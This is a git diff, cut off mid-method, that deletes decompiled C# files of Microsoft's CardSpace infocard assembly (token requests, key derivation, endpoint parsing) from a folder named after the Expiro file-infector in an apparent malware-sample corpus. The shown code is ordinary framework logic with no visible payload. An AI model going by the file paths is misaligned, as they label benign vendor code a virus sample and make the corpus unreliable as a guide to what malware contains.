b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FreeIndexList.cs deleted file mode 100644 index bfe7a4ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FreeIndexList.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FreeIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class FreeIndexList - { - private Dictionary m_list; - - public FreeIndexList(int size) => this.m_list = size > 0 ? new Dictionary(size) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (size), (object) size, SR.GetString("StoreFreeListSizeOutOfRange"))); - - public bool Contains(int value) => value > 0 ? this.m_list.ContainsKey(value) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - - public void Put(int value) - { - if (value <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - this.m_list.Add(value, value); - } - - public int GetNext() - { - int key = -1; - if (this.m_list.Count > 0) - { - using (IEnumerator enumerator = (IEnumerator) this.m_list.Keys.GetEnumerator()) - { - enumerator.MoveNext(); - key = enumerator.Current; - } - this.m_list.Remove(key); - } - return key; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs deleted file mode 100644 index f30bed2b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GenerateDerivedKeyRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GenerateDerivedKeyRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_label; - private byte[] m_nonce; - private int m_derivedKeyLength; - private int m_offset; - private string m_derivationAlgUri; - private byte[] m_key; - - public GenerateDerivedKeyRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_key = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_label = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_nonce = reader.ReadBytes(count2); - this.m_derivedKeyLength = reader.ReadInt32(); - this.m_offset = reader.ReadInt32(); - this.m_derivationAlgUri = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_key = ((SymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).GenerateDerivedKey(this.m_derivationAlgUri, this.m_label, this.m_nonce, this.m_derivedKeyLength, this.m_offset); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_key.Length); - binaryWriter.Write(this.m_key); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs deleted file mode 100644 index 143e1dcf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs +++ /dev/null @@ -1,90 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenEndpoint -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenEndpoint - { - private Uri m_address; - private Uri m_policyAddress; - private X509Certificate2Collection m_supportingCertsCollection = new X509Certificate2Collection(); - private X509Certificate2 m_leafCert; - - public Uri Address => this.m_address; - - public Uri PolicyUrl => this.m_policyAddress; - - public X509Certificate2Collection SupportingCertificates => this.m_supportingCertsCollection; - - public X509Certificate2 LeafCertificate => this.m_leafCert; - - public EndpointAddress CreateEndpointAddress() - { - if (!((Uri) null != this.m_address)) - return (EndpointAddress) null; - return this.LeafCertificate != null ? new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]) : new EndpointAddress(this.m_address, new AddressHeader[0]); - } - - public XmlElement CreateEndpointAddressXml() - { - if ((Uri) null != this.m_address) - { - EndpointAddress endpointAddress = this.LeafCertificate == null ? new EndpointAddress(this.m_address, new AddressHeader[0]) : new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]); - if ((EndpointAddress) null != endpointAddress) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) memoryStream, Encoding.UTF8)) - { - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - using (XmlReader readerWithQuotas = (XmlReader) Utility.CreateReaderWithQuotas((Stream) memoryStream)) - return (XmlElement) new XmlDocument().ReadNode(readerWithQuotas); - } - } - } - } - return (XmlElement) null; - } - - public void Load(BinaryReader reader, int paramVersion) - { - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_address = new Uri(uriString1); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_policyAddress = new Uri(uriString2); - int num = 0; - if (2 == paramVersion) - num = reader.ReadInt32(); - else if (1 == paramVersion) - num = 1; - for (int index = 0; index < num; ++index) - { - byte[] numArray = reader.ReadBytes(reader.ReadInt32()); - if (!Utility.ArrayIsNullOrEmpty((Array) numArray)) - { - X509Certificate2 certificate = new X509Certificate2(numArray); - if (index == 0) - this.m_leafCert = certificate; - else - this.m_supportingCertsCollection.Add(certificate); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenParameters.cs deleted file mode 100644 index b4157ef9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenParameters.cs +++ /dev/null @@ -1,110 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenParameters - { - private GetBrowserTokenEndpoint m_recipient; - private GetBrowserTokenEndpoint m_issuer; - private Uri m_tokenType; - private List m_requiredClaims; - private List m_optionalClaims; - private int m_flags; - private uint m_privacyVersion; - private Uri m_privacyUrl; - - public GetBrowserTokenParameters() - { - this.m_recipient = new GetBrowserTokenEndpoint(); - this.m_issuer = new GetBrowserTokenEndpoint(); - this.m_requiredClaims = new List(); - this.m_optionalClaims = new List(); - } - - public GetBrowserTokenEndpoint Recipient => this.m_recipient; - - public GetBrowserTokenEndpoint Issuer => this.m_issuer; - - public IList RequiredClaims => (IList) this.m_requiredClaims.AsReadOnly(); - - public IList OptionalClaims => (IList) this.m_optionalClaims.AsReadOnly(); - - public Uri PrivacyUrl => this.m_privacyUrl; - - public uint PrivacyVersion => this.m_privacyVersion; - - public void Load(BinaryReader reader, int paramVersion) - { - this.m_flags = paramVersion; - this.m_recipient.Load(reader, paramVersion); - this.m_issuer.Load(reader, paramVersion); - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_tokenType = new Uri(uriString1); - int num1 = reader.ReadInt32(); - for (int index = 0; index < num1; ++index) - this.m_requiredClaims.Add(Utility.DeserializeString(reader)); - int num2 = reader.ReadInt32(); - for (int index = 0; index < num2; ++index) - this.m_optionalClaims.Add(Utility.DeserializeString(reader)); - this.m_privacyVersion = reader.ReadUInt32(); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_privacyUrl = new Uri(uriString2); - else - this.m_privacyUrl = (Uri) null; - } - - public CardSpacePolicyElement CreatePolicyElement( - ProtocolProfile protocolProfile) - { - XmlDocument document = new XmlDocument(); - XmlElement element = document.CreateElement(protocolProfile.WSTrust.DefaultPrefix, protocolProfile.WSTrust.ClaimsElement, protocolProfile.WSTrust.Namespace); - foreach (string requiredClaim in (IEnumerable) this.RequiredClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, requiredClaim, false)); - foreach (string optionalClaim in (IEnumerable) this.OptionalClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, optionalClaim, true)); - IssuedSecurityTokenParameters securityTokenParameters = new IssuedSecurityTokenParameters(); - if ((Uri) null != this.m_tokenType) - securityTokenParameters.TokenType = this.m_tokenType.ToString(); - securityTokenParameters.AdditionalRequestParameters.Add(element); - Collection requestParameters = securityTokenParameters.CreateRequestParameters(protocolProfile.MsgSecurityVersion, (SecurityTokenSerializer) new WSSecurityTokenSerializer(protocolProfile.MsgSecurityVersion.SecurityVersion, true, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null)); - foreach (XmlElement xmlElement in requestParameters) - { - if (StringComparer.Ordinal.Equals(xmlElement.LocalName, protocolProfile.WSTrust.KeyType) && StringComparer.Ordinal.Equals(xmlElement.NamespaceURI, protocolProfile.WSTrust.Namespace)) - { - xmlElement.RemoveAll(); - xmlElement.AppendChild((XmlNode) xmlElement.OwnerDocument.CreateTextNode(protocolProfile.WSTrust.KeyTypeBearer.OriginalString)); - break; - } - } - return new CardSpacePolicyElement(this.m_recipient != null ? this.m_recipient.CreateEndpointAddressXml() : (XmlElement) null, this.m_issuer != null ? this.m_issuer.CreateEndpointAddressXml() : (XmlElement) null, requestParameters, this.m_privacyUrl, Convert.ToInt32(this.m_privacyVersion), false); - } - - private static XmlElement CreateClaimElement( - XmlDocument document, - string claimUri, - bool optional) - { - XmlElement element = document.CreateElement("wsid", "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - element.SetAttribute("Uri", claimUri); - if (optional) - element.SetAttribute("Optional", "true"); - return element; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenRequest.cs deleted file mode 100644 index c0186f55..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenRequest.cs +++ /dev/null @@ -1,609 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Diagnostics; -using System.Globalization; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenRequest : GetTokenRequest - { - public const int POLICY_V1 = 1; - public const int POLICY_V2 = 2; - private GetBrowserTokenParameters m_params; - private ServiceEndpoint m_svcEpr; - private byte[] m_rawToken; - private SelfIssuedAuthProofToken m_proofToken; - private ProtocolProfile m_protocolProfile; - - public GetBrowserTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs) - { - this.m_protocolProfile = new ProtocolProfile(); - } - - private static bool IsReferralToManagedIssuer(Binding issuerBinding) - { - bool managedIssuer = false; - if (issuerBinding != null && issuerBinding.CreateBindingElements().Find() != null) - managedIssuer = true; - return managedIssuer; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - try - { - this.m_params = new GetBrowserTokenParameters(); - int paramVersion = reader.ReadInt32(); - if (1 != paramVersion && 2 != paramVersion) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidFlagsSpecified"))); - this.m_params.Load(reader, paramVersion); - if ((Uri) null == this.m_params.Issuer.PolicyUrl) - { - this.CreateInfoCardPolicyFromBrowserParams(); - } - else - { - if (Utility.CompareUri(XmlNames.WSIdentity.SelfIssuerUriValue, this.m_params.Issuer.Address) || Utility.CompareUri(XmlNames.WSIdentity.AnonymousIssuerUriValue, this.m_params.Issuer.Address)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("SelfOrAnonIssuerNotAllowedWhenMexSpecified", (object) this.m_params.Issuer.Address))); - if ((Uri) null == this.m_params.Issuer.Address) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoIssuerSpecifiedWhenMexIsSpecified"))); - ServiceEndpointCollection endpointCollection; - try - { - endpointCollection = this.GetServiceEndpointCollection(this.m_params.Issuer.Address, this.m_params.Issuer.PolicyUrl); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - endpointCollection = (ServiceEndpointCollection) null; - } - if (endpointCollection != null && endpointCollection.Find(this.m_params.Issuer.Address) != null) - { - ServiceEndpoint serviceEndpoint = endpointCollection.Find(this.m_params.Issuer.Address); - if (!GetBrowserTokenRequest.IsReferralToManagedIssuer(serviceEndpoint.Binding) && this.DoesEndpointSatisfySecurityRequirements(serviceEndpoint) && this.DoesEndpointSatisfyIssuedTokenRequirements(serviceEndpoint)) - { - if (Uri.UriSchemeHttps != this.m_params.Recipient.Address.Scheme) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("RPStsWithNoSSLFailure"))); - this.m_svcEpr = serviceEndpoint; - SecurityBindingElement securityBindingElement = serviceEndpoint.Binding.CreateBindingElements().Find(); - InfoCardTrace.Assert(null != securityBindingElement, "No SecurityBindingElement was found in the BindingElementCollection"); - if (TrustVersion.WSTrust13 == securityBindingElement.MessageSecurityVersion.TrustVersion) - this.m_protocolProfile.WSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - } - } - this.CreateInfoCardPolicyFromBrowserParams(); - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("ServiceInvalidArguments"), ex)); - throw; - } - } - - private void CreateInfoCardPolicyFromBrowserParams() - { - CardSpacePolicyElement policyElement = this.m_params.CreatePolicyElement(this.m_protocolProfile); - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElement, policyElement.PolicyNoticeLink, (uint) policyElement.PolicyNoticeVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.Browser); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - } - - private bool DoesEndpointSatisfyIssuedTokenRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - bool disallowedStpDetected = false; - if (GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(serviceEndpoint.Binding.CreateBindingElements(), ref disallowedStpDetected) != null) - return true; - } - return false; - } - - private bool DoesEndpointSatisfySecurityRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsClientAuthentication && property.SupportsServerAuthentication) - return true; - } - return false; - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - try - { - try - { - binaryWriter.Write(this.m_rawToken.Length); - binaryWriter.Write(this.m_rawToken, 0, this.m_rawToken.Length); - } - finally - { - Array.Clear((Array) this.m_rawToken, 0, this.m_rawToken.Length); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceFailedToWriteToken"), ex)); - throw; - } - } - - protected override void OnProcess() - { - try - { - if (this.m_svcEpr == null) - { - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter w = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.Token.ProtectedToken.WriteTo(w); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - else - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = this.CreateClientCredentials(this.m_svcEpr); - clientCredentials.Windows.AllowNtlm = false; - Binding binding = GetBrowserTokenRequest.FedChainUpdateProxyAndRestrictTransportBindingWrapper(this.m_svcEpr.Binding, this.UserProxy); - using (ChannelFactory channelFactory = new ChannelFactory(binding, this.m_svcEpr.Address)) - { - channelFactory.Endpoint.Binding.OpenTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.SendTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.ReceiveTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.CloseTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials); - InfoCardTrace.Assert(!channelFactory.Credentials.Windows.AllowNtlm, "Should be false"); - GetBrowserTokenRequest.ISts sts = channelFactory.CreateChannel(); - if (this.Policy == null) - this.CreateInfoCardPolicyFromBrowserParams(); - Message rstMsg = Message.CreateMessage(this.m_svcEpr.Binding.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) new RequestSecurityTokenForGetBrowserToken(new RequestSecurityTokenParameters(this.m_svcEpr.Binding.MessageVersion.Addressing, this.m_params, this.m_protocolProfile, this.Policy, true))); - Message rstrMsg = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenFeb2005(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenWSTrust13(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - InfoCardTrace.Assert(null != rstrMsg, "Should have thrown before this if message is null"); - WSIdentityFaultException.ThrowIfFaultMessage(rstrMsg, CultureInfo.GetCultureInfo(this.UserLanguage)); - using (XmlReader readerAtBodyContents = (XmlReader) rstrMsg.GetReaderAtBodyContents()) - { - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.WriteRequestedTokenFrom(readerAtBodyContents, writer); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - channelFactory.Close(); - } - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceSTSCommunicationFailed"), ex)); - throw; - } - } - - public static void WriteSourceUrlAppliesTo( - XmlWriter writer, - GetBrowserTokenParameters browserParams, - ProtocolProfile profile) - { - EndpointAddress endpointAddress = browserParams.Recipient.CreateEndpointAddress(); - writer.WriteStartElement(profile.WSPolicy.DefaultPrefix, profile.WSPolicy.AppliesTo, profile.WSPolicy.Namespace); - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteEndElement(); - } - - private static void CheckOptionalTokenParameters( - SupportingTokenParameters oestp, - IDictionary oostp, - ref bool disallowedStpDetected) - { - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(oestp, issuedTokenParameters, ref disallowedStpDetected); - foreach (SupportingTokenParameters parameters in (IEnumerable) oostp.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters, ref disallowedStpDetected); - } - - public static IssuedSecurityTokenParameters TryGetNextStsIssuedTokenParameters( - BindingElementCollection bindingElements, - ref bool disallowedStpDetected) - { - if (bindingElements == null) - return (IssuedSecurityTokenParameters) null; - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - SecurityBindingElement securityBindingElement1 = bindingElements.Find(); - if (securityBindingElement1 == null) - return (IssuedSecurityTokenParameters) null; - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(securityBindingElement1.EndpointSupportingTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - foreach (SupportingTokenParameters parameters in (IEnumerable) securityBindingElement1.OperationSupportingTokenParameters.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters, ref disallowedStpDetected); - switch (securityBindingElement1) - { - case AsymmetricSecurityBindingElement _: - AsymmetricSecurityBindingElement securityBindingElement2 = (AsymmetricSecurityBindingElement) securityBindingElement1; - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(securityBindingElement2.InitiatorTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(securityBindingElement2.RecipientTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - break; - case SymmetricSecurityBindingElement _: - SecurityTokenParameters protectionTokenParameters = ((SymmetricSecurityBindingElement) securityBindingElement1).ProtectionTokenParameters; - if (protectionTokenParameters is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters securityTokenParameters = (SecureConversationSecurityTokenParameters) protectionTokenParameters; - BindingElementCollection bindingElements1 = new BindingElementCollection(); - if (securityTokenParameters.BootstrapSecurityBindingElement != null) - bindingElements1.Add((BindingElement) securityTokenParameters.BootstrapSecurityBindingElement); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters((SecurityTokenParameters) GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(bindingElements1, ref disallowedStpDetected), issuedTokenParameters, ref disallowedStpDetected); - break; - } - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(protectionTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - break; - } - GetBrowserTokenRequest.CheckOptionalTokenParameters(securityBindingElement1.OptionalEndpointSupportingTokenParameters, securityBindingElement1.OptionalOperationSupportingTokenParameters, ref disallowedStpDetected); - return issuedTokenParameters.Value; - } - - public static void CheckAndAssignIssuedTokenParameters( - SecurityTokenParameters stp, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - if (stp == null) - return; - InfoCardTrace.Assert(null == stp as SecureConversationSecurityTokenParameters, "Should have already filtered this"); - if (stp is IssuedSecurityTokenParameters || stp is RsaSecurityTokenParameters || stp is SslSecurityTokenParameters || stp is X509SecurityTokenParameters) - issuedTokenParameters.Value = stp as IssuedSecurityTokenParameters; - else - disallowedStpDetected = true; - } - - private static void GetIssuedSecurityTokenParametersFromSupportingTokenParameters( - SupportingTokenParameters parameters, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Endorsing, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEndorsing, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.Signed, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromCollection(parameters.SignedEncrypted, issuedTokenParameters, ref disallowedStpDetected); - } - - private static void GetIssuedSecurityTokenParametersFromCollection( - Collection collection, - ThrowOnMultipleAssignment issuedTokenParameters, - ref bool disallowedStpDetected) - { - foreach (SecurityTokenParameters stp in collection) - { - if (stp is SecureConversationSecurityTokenParameters) - { - 